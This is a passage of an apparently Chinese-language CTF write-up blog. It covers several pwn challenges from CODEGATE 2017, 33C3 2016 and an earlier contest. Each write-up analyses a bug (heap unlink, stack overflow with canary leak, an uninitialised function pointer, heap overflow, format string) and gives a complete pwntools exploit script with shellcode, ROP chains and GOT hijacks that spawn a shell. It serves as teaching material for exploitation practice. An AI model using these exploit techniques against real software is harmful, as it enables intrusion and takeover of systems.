r.recvuntil('Index:')
r.sendline(str(idx))
def edit(payload):
r.recvuntil('>>')
r.sendline('2')
r.recvuntil('Edit message:')
r.send(payload)
global_size = 0x602a60
libc_start_main_got = 0x601fb0
libc = ELF('bc.so.6')
leave(0, 32, 'A'*8)
leave(1, 32, 'B'*8)
# Overflow
delete(1)
delete(0)
payload = ('A'*32 + p64(0) + p64(0x31) + # Restore chunk struct
p64(global_size-0x10)) # Fake fd
leave(0, 400, payload, True)
leave(0, 32, 'A'*4) # malloc garbage
fix_size_payload = '\xf0'.ljust(4, '\x00')*4
payload = fix_size_payload + p64(libc_start_main_got)
leave(3, 32, payload) # Get the chunk in global
# Leak libc base
view(0)
r.recvuntil('View Message: ')
base = u64(r.recvline()[:-1] + '\x00'*2) - libc.symbols['__libc_start_main']
log.success('base : {}'.format(hex(base)))
# Leak stack address
payload = fix_size_payload + p64(base + libc.symbols['environ'])
edit(payload)
view(0)
r.recvuntil('View Message: ')
stack = u64(r.recvline()[:-1] + '\x00'*2) - 0xf0
log.success('stack : {}'.format(hex(stack)))
# Exploit
payload = fix_size_payload + 'A'*24 + p64(stack)
edit(payload)
sh = base + next(libc.search('/bin/sh\x00'))
system = base + libc.symbols['system']
pop_rdi = base + 0x0000000000021102
payload = p64(pop_rdi) + p64(sh) + p64(system)
edit(payload)
# Return to ROP
r.recvuntil('>>')
r.sendline('6')
r.interactive()

FLAG: bkp{you are a talented and ambitious hacker}

閱讀本文

2017-02-21
[CODEGATE CTF 2017] messenger 500

Info

Category: pwn
Point: 500
Author: Naetw @ BambooFox
這題比賽中沒有解出來,後來還是來練習一下

Analyzing

64 bits ELF, Partial RELRO, 有 canary, 沒有 NX & PIE。

這題有五個選項:

[L]eave message:

  • 最多只能留兩個 messages
  • size 可以自己決定但是無法超過 32
  • malloc 是作者自己實作的,rev 不太出來 Orz,不過這題重點不在這

[R]emove message:

  • free 也是作者自己實作的,會做 unlink,這題就是要利用 unlink 讓 puts got.plt 指向我們寫的 shellcode
  • remove 之後,紀錄 message 數量的 global variable 不會改動

[C]hange message:

  • 這裡有個 overflow 的漏洞,他會先問 size 這時 size 給大一點的數便可以 overflow 來更改 chunk struct

[V]iew message:

  • 可以利用這個來 leak heap address

[Q]uit:

  • 離開程式

這邊先說明他的 heap struct(先假設已經留下一則 message size 8):

1
2
3
4
5
6
7
8
9
10
+-----------------------+
| size | fd | # 一開始就有的 Head
+-----------------------+
| | size | # First message
| fd | bk |
| data |
+-----------------------+
| | size | # Top chunk
| | bk |
+-----------------------+

這裡的 fd, bk 會指向 chunk 儲存 size 的地方,而不是 data 開頭或是 chunk 開頭

Exploit

首先,先留下一個訊息,接著利用 change 來做 overflow,之後利用 view 來 leak heap address。

一開始的 heap layout:

1
2
3
4
5
6
0x603000: 0x0000000000000018 0x0000000000603018 # Head
0x603010: 0x0000000000000000 0x0000000000000400 # Top chunk
0x603020: 0x0000000000000000 0x0000000000603000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000

留下一則 size 8 的 message:

1
2
3
4
5
6
0x603000: 0x0000000000000018 0x0000000000603018 # Head
0x603010: 0x0000000000000000 0x0000000000000031 # First message
0x603020: 0x0000000000603048 0x0000000000603000
0x603030: 0x0000000041414141 0x0000000000000000
0x603040: 0x0000000000000000 0x00000000000003d0 # Top chunk
0x603050: 0x0000000000000000 0x0000000000603018

接下來利用 change 裡面的 overflow 來 leak heap address

1
2
3
4
5
6
0x603000: 0x0000000000000018 0x0000000000603018 # Head
0x603010: 0x0000000000000000 0x0000000000000031 # First message
0x603020: 0x0000000000603048 0x0000000000603000
0x603030: 0x4141414141414141 0x4141414141414141
0x603040: 0x4141414141414141 0x4141414141414141 # Top chunk
0x603050: 0x4141414141414141 0x0000000000603018

這時候利用 view 他會 output 40 個 A 之後把 0x603018 leak 出來,算一下 offset 就可以拿到 0x603000 也就是 heap 的開頭

leak 完之後先把 heap 的 struct 恢復原樣,這邊就不放 layout 了,跟第二個 layout 一樣

恢復之後,在留下新的一則 message size 一樣是 8:

1
2
3
4
5
6
7
8
9
0x603000: 0x0000000000000018 0x0000000000603018 # Head
0x603010: 0x0000000000000000 0x0000000000000031 # First message
0x603020: 0x0000000000603048 0x0000000000603000
0x603030: 0x0000000041414141 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000031 # Second message
0x603050: 0x0000000000603018 0x0000000000603018
0x603060: 0x0000000042424242 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000000003a0 # Top chunk
0x603080: 0x0000000000000000 0x0000000000603048

接著就是要利用 unlink 來讓 puts got.plt 指向我們寫的 shellcode,這邊先來看題目實作的 free code:

  • buf - chunk 儲存 data 的開頭
  • size_adr - chunk 儲存 size 的位置,也就是 fd, bk 會使用到的 address
  • buf_bk - bk of current_freed_chunk
  • buf_fd - fd of current_freed_chunk
  • qword_6020B0 - 儲存 chunk 的 list
1
2
3
# list struct
0x6020b0: 0x0000000000603000 0x0000000000000000 # Head | Nothing
0x6020c0: 0x0000000000603030 0x0000000000603060 # First | Second
1
2
3
4
5
6
7
8
9
10
11
12
size_adr = buf-24;
buf_bk = *(_QWORD *)(buf-24+16);
buf_fd = *(_QWORD *)(buf-24+8);
if (buf_bk)
*(_QWORD *)(buf_bk+8) = buf_fd; // 基本上就是讓 buf_bk chunk 的 fd 接到 current_freed_chunk->fd
if (buf_fd)
*(_QWORD *)(buf_fd+16) = buf_bk; // 讓 buf_fd chunk 的 bk 接到 current_freed_chunk->bk
*(_QWORD *)(size_adr+8) = *(_QWORD *)(qword_6020B0+8) // 讓 current_freed_chunk->fd 接到除了 Head 的第一個 chunk
if (*(_QWORD *)(qword_6020B0+8))
*(_QWORD *)(*(_QWORD *)(qword_6020B0+8)+16) = size_adr; // 讓那第一個 chunk 的 bk 接到 current_freed_chunk
*(_QWORD *)(qword_6020B0+8) = size_adr; // 讓 Head 的 fd 接到 current_freed_chunk
*(_QWORD *)size_adr &= 0xFFFFFFFFFFFFFFFE; // clear inuse bit

這邊我利用的是讓 buf_bk chunk 的 fd 接到 current_freed_chunk->fd 這行,我把 buf_bk 設成 puts_got-8 的地方,然後 current_freed_chunk->fd 設成我寫 shellcode 的地方,這樣就會讓 puts_got 指向 address of shellcode,這樣一來 free 完呼叫 puts 時就會跳到 shellcode 上去執行

所以先用 change 的 overflow 漏洞來改寫 Second Chunk 的 struct,之後再來 free Second Chunk,把他 overflow 成以下樣子:

1
2
3
4
5
6
7
8
9
10
11
12
13
0x603000: 0x0000000000000018 0x0000000000603018 # Head
0x603010: 0x0000000000000000 0x0000000000000031 # First message
0x603020: 0x0000000000603048 0x0000000000603000
0x603030: 0x4141414141414141 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000031 # Second message
0x603050: 0x00000000006030a8 0x0000000000602010
0x603060: 0x4242424242424242 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000000003a0 # Top chunk
0x603080: 0x0000000000000000 0x0000000000603048
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x00000000000016eb
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: shellcode
  • 0x602010 - puts_got-8
  • 0x6020a8 - shellcode 位置

這邊會看到 shellcode 位置只擺了 \xeb\x16(jmp 0x18),這是因為 unlink 的 side-effect,他會在 0x6020a8+16 的位置擺上 buf_bk:

1
2
3
4
5
6
7
8
9
10
11
12
13
0x603000: 0x0000000000000018 0x0000000000603048 # Head
0x603010: 0x0000000000000000 0x0000000000000031 # First message
0x603020: 0x0000000000603048 0x0000000000603048
0x603030: 0x4141414141414141 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000030 # Second message
0x603050: 0x00000000006030a8 0x0000000000602010
0x603060: 0x4242424242424242 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000000003a0 # Top chunk
0x603080: 0x0000000000000000 0x0000000000603048
0x603090: 0x0000000000000000 0x0000000000000000
0x6030a0: 0x0000000000000000 0x00000000000016eb
0x6030b0: 0x0000000000000000 0x0000000000602010 <- buf_bk
0x6030c0: shellcode

如果直接在 0x6020a8 放上 shellcode 會有一小段 shellcode 被 0x602010 寫爛,所以這邊不能直接放,而是利用了 jmp 0x18 讓 puts 跳過去的時候,再往前跳 0x18,這樣就會跳到 0x6030c0 真正 shellcode 所在的地方了

Final Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python
# -*- coding: utf8 -*-
from pwn import * # pip install pwntools
import sys
r = process('./messenger')
def leave(size, msg):
r.recvuntil('>>')
r.sendline('L')
r.recvuntil('size :')
r.sendline(str(size))
r.recvuntil('msg :')
r.sendline(msg)
def change(idx, size, payload):
r.recvuntil('>>')
r.sendline('C')
r.recvuntil('index :')
r.sendline(str(idx))
r.recvuntil('size :')
r.sendline(str(size))
r.recvuntil('msg :')
r.send(payload)
def view(idx):
r.recvuntil('>>')
r.sendline('V')
r.recvuntil('index :')
r.sendline(str(idx))
def remove(idx):
r.recvuntil('>>')
r.sendline('R')
r.recvuntil('index :')
r.sendline(str(idx))
puts_got = 0x602018
# Leak top chunk
leave(8, 'A'*4)
change(0, 60, 'A'*40)
view(0)
r.recvuntil('A'*40)
x = r.recvline()[:-1]
heap = u64(x + '\x00'*(8-len(x))) - 0x18
log.info('heap : {}'.format(hex(heap)))
# Repair the heap struct
payload = 'A'*8 + p64(0)*2 + p64(0x3d0) + p64(0) + p64(heap+0x18)
change(0, 60, payload)
# Make another chunk and use overflow to make arbitratary free
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
leave(8, 'B'*4)
payload = 'A'*8
payload += p64(0)*2 + p64(0x31) + p64(heap+0xa8) + p64(puts_got-8)
payload += 'B'*8 + p64(0)*2 + p64(0x3a0) + p64(0) + p64(heap+0x48)
payload += p64(0)*3 + '\xeb\x16' +'\x00'*6 + p64(0)*2 + sc
change(0, len(payload)+4, payload)
remove(1)
r.interactive()
閱讀本文

2017-02-11
[CODEGATE CTF 2017] babypwn 50

Info

Category: pwn
Point: 500->50
Solver: Naetw @ BambooFox
這是這次比賽唯一解出的一題 Orz,最近 BambooFox 打比賽的人越來越少了,自己戰力也不足@@ 分析太慢經驗也太少…

Analyzing

32 bit ELF, Partial RELRO, 有 canary & NX, 沒有 PIE

如同他的名字是一個蠻簡單的題目。有一個明顯的 stack overflow 漏洞,唯一比較麻煩的部分是 socket 的部分,因為這部分還沒學過,也就不多說。只是需要把 fork 出來的 file descriptor 接好。

程式主要功能在 0x08048A71 function 裡,前面都在做 socket 的建置,如果要在 local 端測試的話,會先用 ncat -vc ./babypwn -kl 127.0.0.1 4000 架起來,看了一下 src,我們會先 nc localhost 4000,之後程式就會跑起來,並且把主要功能開在 port 8181,所以一旦 nc localhost 4000 過,之後測試就用 8181 這個 port 來測試就行了。

連上去之後,程式行為很簡單:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu > 1
Input Your Message : AAAA
AAAA
===============================
1. Echo
2. Reverse Echo
3. Exit
===============================
Select menu >

就是一個 echo server,第一直覺以為會是 format string,但是就是簡單的 echo 行為,不過在 echo 時,可以用 overflow 來 leak canary,後面才能利用 ROP 來做事。

overflow

開 ida pro 來看

1
2
3
char buf[40]; // [sp+24h] [bp-34h]@1
...
socket_recv(buf, 100) // socket_recv == 0x08048907

這邊很明顯的 overflow,buf 的開頭距離 ebp 有 52,但是卻可以 input 100 bytes,因此這邊先算好跟 canary 的 offset,然後把 buf 塞成以下樣子:

1
2
3
0xff951f54: 0x41414141 0x41414141 0x41414141 0x41414141
0xff951f64: 0x41414141 0x41414141 0x41414141 0x41414141
0xff951f74: 0x41414141 0x41414141 0x4409b50a 0x00000000

上面的 0x4409b50a 就是 canary,不過因為 canary 的 first byte 都會是 ‘\x00’,因此這邊用 ‘\x0a’ 也就是換行把它蓋著,才能接著把後面的值 dump 出來後,把 ‘\x0a’ 換成 ‘\x00’ => 0x4409b500 就是這個 binary 的 canary。

這邊有了 canary 後就可以繞過 stack guard 的檢查,疊 ROP 來控制 eip 了,不過這邊還是沒辦法開 shell,因為 socket 的 file descriptor 跟 stdin & stdout 不同,所以我們會需要先用 dup2 來讓 stdin & stdout 跟 socket 的 file descriptor 接起來,之後就能開 interactive shell on socket server。

但是要用到 dup2 會需要 libc base,這邊我們先做第一次的 ROP,把 GOT entry 上的 libc function address leak 出來,之後利用 libc database 來找出遠端 server 的 libc 版本,此外我們也要先把 file descriptor leak 出來。

因此這次 ROP 我們 payload 如下:

1
2
3
4
5
6
7
8
9
10
11
socket_send = 0x080488B1
pop1 = 0x08048589
sigemptyset_got = 0x0804B048
echo_select = 0x08048A71
fd_address = 0x0804B1B8
rop1 = [socket_send, pop1, sigemptyset_got,
socket_send, echo_select, fd_address]
payload = 'A'*40 + # padding to canary
p32(canary) +
'A'*12 + # padding to return address
''.join(map(p32, rop1))

疊完之後,利用 choice 3 - exit 他會用 return 結束,就可以接到我們寫上去的 ROP gadgets 了。

這裡的 socket_send 用的是原本就寫好用來 echo input 的 function,pop1 則是利用 ROPgadget 找到的一個 pop 一次後 ret 的 gadget,而 echo_select 則是上面提到的主要 function 的位址,因為 leak 玩東西之後我們要再做一次 ROP 來使用 dup2 以及開 shell。

這裡他會從 sigemptyset_got 開始 leak 很多 libc function,我拿前面四個到上面說的 libc database 查版本是可以查到的。

拿到 libc base 之後,直接在疊一次 ROP,這次 ROP 會用 dup2 把 stdin & stdout 跟 socket 的 fd 接起來,之後馬上開 shell:

1
2
3
4
5
6
7
8
9
pop2 = 0x08048B84
sh = base + next(libc.search('sh\x00'))
rop2 = [dup2, pop2, fd, 1,
dup2, pop2, fd, 0,
system, 0xdeadbeef, sh]
payload = 'A'*40 + # padding to canary
p32(canary) +
'A'*12 + # padding to return address
''.join(map(p32, rop2))

再次利用 choice 3 來 return 到 ROP gadgets 上。

Final Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python
# -*- coding: utf8 -*-
from pwn import * # pip install pwntools
import sys
ip = '127.0.0.1'
port = 8181
reip = '110.10.212.130'
report = 8888
r = remote(ip, port)
#r = remote(reip, report)
# Default address & libc setting
echo_select = 0x08048a71
socket_send = 0x080488b1
sigemptyset_got = 0x0804b048
fd = 0x0804b1b8
pop1 = 0x08048589
pop2 = 0x08048b84
bss_buf = 0x0804bfc0
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('libc.so')
def echo(payload):
r.recvuntil('>')
r.sendline('1')
r.recvuntil(':')
r.send(payload)
# Leak canary
echo('A' * 40 + '\n')
raw_input('#')
r.recvline()
canary = r.recv(3)
canary = u32('\x00' + canary)
log.info(hex(canary))
# Leak libc function address and File Descripter
rop1 = [socket_send, pop1, sigemptyset_got, socket_send, echo_select, fd]
payload = 'A'*40 + p32(canary) +'A'*12 + ''.join(map(p32, rop1))
echo(payload + '\n')
r.recvuntil('>')
r.sendline('3') # Use exit to ret to rop
r.recv()
sig = u32(r.recv(4))
listen = u32(r.recv(4))
atoi = u32(r.recv(4))
r.recv()
fd = ord(r.recv(1))
log.info('sigemptyset : ' + hex(sig) + '\n' +
'listen : ' + hex(listen) + '\n' +
'atoi : ' + hex(atoi) + '\n' +
'fd : ' + hex(fd))
base = atoi - libc.symbols['atoi']
dup2 = base + libc.symbols['dup2']
system = 0x08048620
read = base + libc.symbols['read']
log.info('base : ' + hex(base))
sh = base + next(libc.search('sh\x00'))
# Duplicate fd and stdout & stdin(in order to use shell)
rop2 = [dup2, pop2, fd, 1,
dup2, pop2, fd, 0,
system, 0xdeadbeef, sh]
payload = 'A'*40 + p32(canary) + 'A'*12 + ''.join(map(p32, rop2))
echo(payload)
# Use exit to ret to rop2
sleep(0.1)
r.sendline('3')
r.interactive()

FLAG{GoodJob~!Y0u@re_Very__G@@d!!!!!!^.^}

Note

這次題目開了兩個 port,第一個 port 似乎太多人連…導致開 shell 不知道為啥開不起來,同樣的 payload 在第二個 port 十分順利@@

閱讀本文

2016-12-31
[33C3 CTF 2016] rec 200

Info

Category: pwn
Point: 200
Author: bruce30262 @ BambooFox

Analyzing

32 bit ELF, 保護全開

程式選單:

1
2
3
4
5
6
7
8
9
10
$ ./rec
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
>

整理一下幾個較為重要的 function:

  • Take note: 輸入一個 note
  • Read note: 印出剛剛輸入的 note
  • Polish: 可以做 sum 運算
  • Sign: 輸入一個數字,然後印說它是正數還是負數

首先會發現到 Read note 那邊怪怪的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ./rec
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 0
Your note: 123
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 1
Your note:�VXV`�s��`XV <-- WTF?

會印出亂碼是因為 take note 的時候,程式會將一個 stack address 當成 note 的 buffer。之後離開該 function 時,因為 function epilogue 的關係,程式會在該 stack address 上面塞入一些 (有用的) address。因此透過 read note,我們可以 leak 出 stack address 跟 text 段的 base address。

此外程式在 sign function 裡面有個邏輯漏洞:

1
2
3
4
5
6
7
8
9
10
if ( num <= 0 )
{
if ( num < 0 )
v1 = (void (*)(void))puts_negative;
}
else
{
v1 = (void (*)(void))puts_positive;
}
v1();

對於正數和負數 sign function 都有做好處理,但是如果我們輸入 0 的話呢?

1
2
3
4
5
6
7
8
9
10
11
12
$ ./rec
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 5
0
[1] 40091 segmentation fault (core dumped) ./rec

程式 crash 了。這是因為 sign 裡面沒有處理 0 的情形,導致程式沒有 assign function pointer 給 v1,進而讓程式執行到 v1() 時產生了 segmentation fault。

Exploit

首先觀察一下 sign function 裡面 assign function pointer 時的組語:

1
2
0x56555d3b: mov eax,DWORD PTR [ebp-0x20] <-- &v1 = ebp-0x20
0x56555d3e: call eax

可以看到,如果我們有辦法控制到 [ebp-0x20] 的值的話,我們就有把辦法控制到 eax 的值,進而控制程式的 control flow。

透過 gdb 我們還發現到 sign 這個 function 的 stack frame 比起其他的 function 都還要來的”高”( ebp 的值較低 )。因此如果要有辦法控制到 v1,我們必須想辦法在其他 function 裡面盡量”拉高” stack frame,進而控制到 v1 的值。

經過一連串的 fuzzing,我發現如果使用 Polish 的 sum 功能,我們可以藉由不斷的輸入數字來”拉高”程式的 stack frame,原因是因為程式會不斷地將數字 push 到 stack 上。透過這樣的方式,我們不但可以控制到 v1 ( function pointer ),還可以控制到 function 的參數 !

因此總結一下思路:

  1. 利用 take note 和 read note 來 leak text 段的 base address
  2. 利用 Polish 的 sum 功能來控制 sign function 裡面的 function pointer 和 function 參數。
  3. 我們首先將 function pointer 設成 puts,參數設成 __libc_start_main@got ( 這題因為是 FULL RELRO 的關係沒有 .got.plt )
  4. 呼叫 sign function,數字輸入 0,讓程式執行 puts(__libc_start_main@got)
  5. 得到 libc 的 base address 之後重複 step 2~4,這次將目標改成執行 system("/bin/sh")

Final exploit : ( 這題 libc 的資訊可以透過 libc-database 來獲得 )

exp_rec.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
import numpy
HOST = "78.46.224.74"
PORT = 4127
ELF_PATH = "./rec"
# setting
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
elf = ELF(ELF_PATH)
def take_note(note):
r.sendlineafter("> ", "0")
r.sendlineafter("note: ", note)
def read_note():
r.sendlineafter("> ", "1")
def polish_sum(nums):
r.sendlineafter("> ", "2")
r.sendlineafter("Operator:", "S")
for num in nums:
print "adding:", num
r.sendlineafter("Operand:", str(num))
r.sendlineafter("Operand:", ".")
def sign(num):
r.sendlineafter("> ", "5")
r.sendline(str(num))
if __name__ == "__main__":
r = remote(HOST, PORT)
#r = process(ELF_PATH)
take_note("123")
read_note()
r.recvuntil("note: ")
fptr_addr = u32(r.recv(4)) - 0x350 # where the function pointer be loaded
text_base = u32(r.recv(4)) - 0x6fb
puts = text_base + 0x520
lsm_got = text_base + 0x2fe0
puts_got = text_base + 0x2fd8
log.success("fptr_addr: "+hex(fptr_addr))
log.success("text_base: "+hex(text_base))
nums = [i for i in xrange(0x63)] + [puts, lsm_got]
polish_sum(nums)
sign(0) # this will call puts(lsm_got)
lsm_addr = u32(r.recv(4))
#########################################
#$ ./dump libc6-i386_2.24-3ubuntu2_amd64
#offset___libc_start_main = 0x00018180
#offset_system = 0x0003a8b0
#offset_str_bin_sh = 0x15cbcf
#########################################
system_addr = lsm_addr + 0x22730
bin_sh = lsm_addr + 0x144a4f
log.success("lsm: "+hex(lsm_addr))
log.success("system: "+hex(system_addr))
log.success("bin_sh: "+hex(bin_sh))
nums = [i for i in xrange(0x63)] + [numpy.int32(system_addr), numpy.int32(bin_sh)]
polish_sum(nums)
sign(0) # this time will call system("/bin/sh")
r.interactive()

flag: 33C3_L0rd_Nikon_would_l3t_u_1n

閱讀本文

2016-12-31
[33C3 CTF 2016] babyfengshui 150

Info

Category: pwn
Point: 150
Author: bruce30262 @ BambooFox

Analyzing

32 bit ELF, Partial RELRO, canary & NX enabled, 沒 PIE

程式選單 :

1
2
3
4
5
6
$ ./babyfengshui
0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit

Add a user:

1
2
3
4
5
Action: 0
size of description: 50 <-- max length of description
name: AAAA
text length: 12 <-- actual length of description
text: 1234

Show a user:

1
2
3
4
Action: 2
index: 0 <-- user's index
name: AAAA
description: 1234

Update a user:

1
2
3
4
Action: 3
index: 0
text length: 10 <-- new length of the description
text: 1234567890

user 的 data structure

1
2
3
4
struct user{
char* desc;
char name[124];
};

程式在 delete user 的時候除了會 free 掉 user->descuser 本身之外,還會將 user pointer 清成 0,因此這題並不存在 Use-After-Free 的漏洞。

程式在設置 user->desc 的時候有一個很奇怪的 protection:

1
2
3
4
5
6
7
8
// users = struct user *users[]
if ( &users[id]->desc[text_len] >= &users[id] - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
read_n(users[id]->desc, text_len + 1);

這段程式碼的意思是,user->desc 這個 pointer + text_len 必須小於 user 這個 pointer。感覺程式是想用這段程式碼來防止 useruser->desc 覆寫 ( 避免 heap overflow )。

可是這段保護真的有用嗎 ?

Exploit

如果我們有辦法排出下圖的 heap memory layout:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
+-----------------------+
userD->desc | |
| |
+-----------------------+
| userB->desc| userB
| |
| |
| |
+-----------------------+
| userC->desc| userC
| |
| |
| |
+-----------------------+
| userD->desc| userD
| |
| |
| |
+-----------------------+

根據那段保護的程式碼,userD->desc + text_len 必須小於 userD。我們可以看到 userD->descuserD 有一段距離,中間還包含了 userBuserC 這兩個 data structure,說明我們其實可以覆寫掉整個 userBuserC

這裡只要對 malloc.c 的 memory allocation 機制熟悉的話,要排出上圖的 heap memory layout 並不難。之後只要透過上述的 heap overflow 方式,我們就可以改掉 userB->desc 這個 data pointer,進而做到任意讀寫,剩下的就是做 GOT hijacking 拿 shell。

exp_baby.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python
from pwn import *
import subprocess
import sys
import time
HOST = "78.46.224.83"
PORT = 1456
ELF_PATH = "./babyfengshui_noalarm"
LIBC_PATH = "./libc-2.19.so"
# setting
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
elf = ELF(ELF_PATH)
libc = ELF(LIBC_PATH)
def add_user(desc_len, name, text_len, text):
r.sendlineafter("Action: ", "0")
r.sendlineafter("description: ", str(desc_len))
r.sendlineafter("name: ", name)
r.sendlineafter("length: ", str(text_len))
r.sendlineafter("text: ", text)
def del_user(index):
r.sendlineafter("Action: ", "1")
r.sendlineafter("index: ", str(index))
def show_user(index):
r.sendlineafter("Action: ", "2")
r.sendlineafter("index: ", str(index))
def update_user(index, text_len, text):
r.sendlineafter("Action: ", "3")
r.sendlineafter("index: ", str(index))
r.sendlineafter("length: ", str(text_len))
r.sendlineafter("text: ", text)
if __name__ == "__main__":
r = remote(HOST, PORT)
#r = process(ELF_PATH)
add_user(50, "A"*123, 12, "a"*12)
add_user(50, "B"*123, 12, "b"*12)
add_user(50, "C"*123, 12, "sh\x00") # user[2], desc = "sh\x00" (for later's GOT hijacking)
del_user(0)
add_user(90, "D"*123, 12, "d"*12)
add_user(50, "E"*123, 0x100, "i"*0xf8 + p32(elf.got['__libc_start_main']))
# now user[4]'s desc is user[0]'s desc (in previous)
# user[4]->desc + 0x2c8 = user[4], which means we can overflow user[4]->desc & overwrite user[1]->desc to libc_start_main@got.plt
# leak address
show_user(1)
r.recvuntil("description: ")
libc.address += u32(r.recv(4)) - libc.symbols['__libc_start_main']
system_addr = libc.symbols['system']
log.success("libc: "+hex(libc.address))
log.success("system: "+hex(system_addr))
# change user[1]->desc into free@got.plt
# hijack free's got, then free user[2] to get shell
update_user(4, 0x100, "i"*0xf8 + p32(elf.got['free']))
update_user(1, 5, p32(system_addr))
del_user(2)
r.interactive()

flag: 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1

閱讀本文

2016-12-31
[33C3 CTF 2016] ESPR 150

Info

Category: pwn
Point: 150
Author: bruce30262 @ BambooFox

Analyzing

這題沒有給任何的 binary,只有一張圖片,長得像這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
eat: sleep:
+-----------------+ +----------------+
| sub rsp, 0x100 | | mov edi, 0x1 |
| mov rdi, rsp | | call _sleep |
| call _gets | | |
| | | |
+-----------------+ +----------------+
pwn: repeat:
+-----------------+ +----------------+
| mov rdi, rsp | | |
| call _printf | | jmp eat |
| add rsp, 0x100 | | |
| | | |
+-----------------+ +----------------+

hmmm……

可以發現到程式裡有兩個很明顯的漏洞: stack overflow 與 format string。這題 stack overflow 應該是打不了,因為有個無限迴圈在那邊,程式無法 return。因此這題的重點在於如何在沒有提供任何 binary 的情況下利用 format string 漏洞來 exploit 整個 service。

Exploit

在這裡不得不提 pwntools 裡頭一個相當強大的 module — DynELF。透過 DynELF 以及程式當中的任意讀漏洞,pwntools 將有辦法幫助我們 leak 出遠端機器的 binary 資訊,包括 function 在 libc 中的位址,遠端 binary 的 .dynamic section 位址……等等。

要使用這個功能,首先我們必須提供一個 leak function,來讓 pwntools 有辦法透過這個 function leak 出任意位址的內容。這題的 leak function 可以透過程式當中的 format string 漏洞來實作:

leak
1
2
3
4
5
6
7
8
9
def leak(addr):
payload = "%7$s.AAA"+p64(addr)
r.sendline(payload)
print "leaking:", hex(addr)
resp = r.recvuntil(".AAA")
ret = resp[:-4:] + "\x00"
print "ret:", repr(ret)
r.recvrepeat(0.2) # receive the rest of the string
return ret

之後我們還必須提供一個 binary 裡頭的位址。透過輸入 %30$p,我們可以 leak 出遠端 binary 的 text address 0x40060d。之後我們就可以透過 DynELF 來幫助我們 resolve 一些 libc 中的 function address。

首先我們會需要遠端的 printfsystem 的 function address:

leak library addresses
1
2
3
4
5
6
d = DynELF(leak, 0x40060d)
system_addr = d.lookup('system', 'libc')
printf_addr = d.lookup('printf', 'libc')
log.success("printf_addr: "+hex(printf_addr))
log.success("system_addr: "+hex(system_addr))

因為每 leak 一次就要 sleep 一秒的關係,因此這邊 resolve 的過程會花些時間 ( pwntools 會需要 leak 出一堆 address 來 resolve function 的位址 )

1
2
[+] printf_addr: 0x7fb040a17550
[+] system_addr: 0x7fb040a066d0

有了遠端的 printfsystem 的 address,我們就可以計算兩者之間的 offset,然後在下一次的連線中透過以下步驟來進行 exploit:

  1. 先 leak 出 printf@got.plt,然後計算 system 的位址
  2. 透過 format string 來 overwrite printf 的 GOT ( hijack 成 system )
  3. 輸入 “sh”,執行 system("sh") 拿 shell

那麼該怎麼獲得 printf GOT 的位址呢 ? 這裡我是先透過 DynELFdynamic 功能來獲取 .dynamic section 的位址:

resolve .dynamic section
1
2
d = DynELF(leak, 0x40060d)
dynamic_ptr = d.dynamic

